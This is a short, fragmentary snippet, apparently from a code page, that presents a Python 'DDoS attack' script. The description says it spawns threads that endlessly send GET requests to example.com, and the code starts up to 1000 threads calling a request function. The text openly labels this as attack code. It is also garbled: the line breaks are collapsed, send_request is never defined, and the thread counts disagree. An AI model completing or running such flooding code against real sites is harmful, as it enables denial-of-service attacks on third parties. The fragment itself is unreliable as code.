Creates 100 threads, each endlessly sending GET requests to example.com .
def ddos_simulation(url, num_requests=1000): threads = [] for _ in range(num_requests): t = threading.Thread(target=send_request, args=(url,)) threads.append(t) t.start() ddos attack python script